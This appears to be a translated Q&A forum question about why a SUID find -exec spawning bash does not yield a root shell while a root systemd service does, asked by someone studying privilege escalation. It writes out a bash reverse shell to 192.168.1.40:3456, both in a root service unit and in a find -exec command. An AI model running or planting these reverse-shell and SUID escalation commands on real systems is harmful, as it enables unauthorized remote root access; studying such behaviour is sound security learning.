【发布时间】:2021-06-01 10:25:13
【问题描述】:
假设 /usr/bin/systemctl 和 /usr/bin/find 有 4755 (SUID) 权限和 有一个服务 root.service 通过 tcp 连接执行交互式 shell:
[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target
如果 root.service 以非 root 用户身份执行(作为服务),则创建的交互式 shell 的用户将是 root。
但是如果执行的命令是(也作为非root用户):
find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;
创建的交互式 shell 的用户将与执行命令的非 root 用户相同。
另一方面,如果我以非root用户身份执行:
find . -exec whoami \;
它将返回 root。
在这两种情况下,我都假设有一个 TCP 连接正在侦听指定的 IP 和端口。
我缺少一些关于 find -exec 功能的东西。
¿为什么会有这种差异?
【问题讨论】:
-
...为什么
find带有 setuid? -
@ilkkachu 我正在学习系统安全和权限提升。我想不出找到 setuid 的充分理由,但我想了解这背后的功能。
-
好的,很好的答案。
标签: linux unix find systemctl suid